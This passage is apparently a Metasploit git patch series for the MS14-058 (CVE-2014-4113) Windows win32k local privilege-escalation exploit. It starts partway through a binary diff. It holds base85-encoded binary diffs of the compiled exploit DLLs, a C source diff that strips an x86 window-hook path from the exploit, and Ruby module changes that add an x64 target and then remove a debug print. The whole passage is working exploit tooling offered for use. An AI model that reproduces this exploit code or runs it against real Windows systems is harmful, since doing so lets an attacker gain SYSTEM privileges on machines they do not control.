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 IiEU&57oe`q&j0`b diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c index ba937fd010..0478ac1ae1 100755 --- a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c @@ -23,7 +23,6 @@ typedef QWORD *PQWORD; int WndProcClue = 0; int HookCallbackClue = 0; -int HookCallbackThreeClue = 0; WNDPROC lpPrevWndFunc; DWORD MyProcessId = 0; DWORD OffsetWindows = 0; @@ -71,49 +70,12 @@ typedef struct _SYSTEM_MODULE_INFORMATION { lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL; lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL; -LRESULT __stdcall HookCallbackThree(int code, WPARAM wParam, LPARAM lParam) -{ - if (wParam == 4 && *(DWORD *)lParam == GetCurrentThreadId() && *(DWORD *)(lParam + 12) == 0x900516) - HookCallbackThreeClue = 1; - return CallNextHookEx(0, code, wParam, lParam); -} -#ifdef _M_X64 long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { EndMenu(); return -5; } -#else -LRESULT __stdcall HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) -{ - LRESULT result; - DWORD v5; - - if (Msg == 0x1EB) - { - v5 = GetCurrentThreadId(); - SetWindowsHookExA(9, HookCallbackThree, 0, v5); - SendMessageA(hWnd, 0, 0x900516u, 0); - UnhookWindowsHook(9, HookCallbackThree); - if (HookCallbackThreeClue) - { - EndMenu(); - result = CallWindowProcA(lpPrevWndFunc, hWnd, 0x1EBu, wParam, lParam); - } - else - { - EndMenu(); - result = -5; - } - } - else - { - result = CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam); - } - return result; -} -#endif LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { #ifdef _M_X64 diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index 435ce75eef..b22204ccbd 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Local 'juan vazquez', # msf module (x86 target) 'Spencer McIntyre' # msf module (x64 target) ], - 'Arch' => ARCH_X86, + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => @@ -113,6 +113,8 @@ class Metasploit3 < Msf::Exploit::Local else dll_file_name = 'cve-2014-4113.x64.dll' end + + print_status("Using #{dll_file_name}") library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name) library_path = ::File.expand_path(library_path) From c319ea91b3e6b30b4b10a899d535c179f48d7da4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 26 Oct 2014 17:31:19 -0500 Subject: [PATCH 2/3] Delete verbose print --- modules/exploits/windows/local/ms14_058_track_popup_menu.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index b22204ccbd..4f66fa8b34 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -114,7 +114,6 @@ class Metasploit3 < Msf::Exploit::Local dll_file_name = 'cve-2014-4113.x64.dll' end - print_status("Using #{dll_file_name}") library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name) library_path = ::File.expand_path(library_path) From 0aaebc7872da70a5597a450f267d5a226a3c8b69 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 26 Oct 2014 18:51:02 -0500 Subject: [PATCH 3/3] Make GetPtiCurrent USER32 independent --- .../CVE-2014-4113/cve-2014-4113.x64.dll | Bin 96256 -> 96256 bytes .../cve-2014-4113/cve-2014-4113.c | 43 ++---------------- 2 files changed, 3 insertions(+), 40 deletions(-) diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll index b35b062c98b8fe574d1acb164f5fcf483ff1735b..968c60af0c2dc829d8e00b67714049ff3a4d5d89 100755 GIT binary patch delta 24251 zcmeI4dstLe`}g)h7Ow@=zANt(B@o#ef7+!TpEEmC(= zd&OOnZoqI>7;6Tyj`A#5&+)SK1T0I~D!GSZ(y?1gciF^hEr zxu+b;x+%TnOqQ%XE1Rlnm4Whh=a@k$Ps@^;za}_M%Jxt#Nx^BV#V~~1iuBE$xglOH z(uHt?B{ewB_Nsv`c7ANeo+Yv*T5R+gB!K}YojcsqSp9SG!tc+5*!wO&Te#JLAt)O6HC#JTkz{*S+YfR z(W<|LyjpCSgfq5{(oBX=VX_puIaQ{RqjF7wmK@j|o9xcR_+ z=H?x0c#7w9?%VBkx@Tvx5#Gk0ncOm2vrL^OOHF9B+1IioxD{Q4!i%^&;yzpL-QWB? z&r4dUg3x*%8khgR7Aj?Tr<{`G>uB`aJ>Jl#Gi9lf$MS=z<#oId`<5WuA&Ve9{*Ge zOX?i$Yv)z=;Z^Qv$4}5OgggCO*v`&fUBY<&=bzY#&h!0m^T16%@ljh4T&~qw6N(PG zoxoyzf|S-cHr;21`7s`K{YO-nq{9&gq#~GKP_=kRaEYQdkjg`jAw(_SqS@@mqL1J~ z|Cb<=m*DzuB@%gw4O$7~EaZ9r^AHSlt)OnzbQtsFmQC;B=*DzjWHLXF4{-nSL)PlF 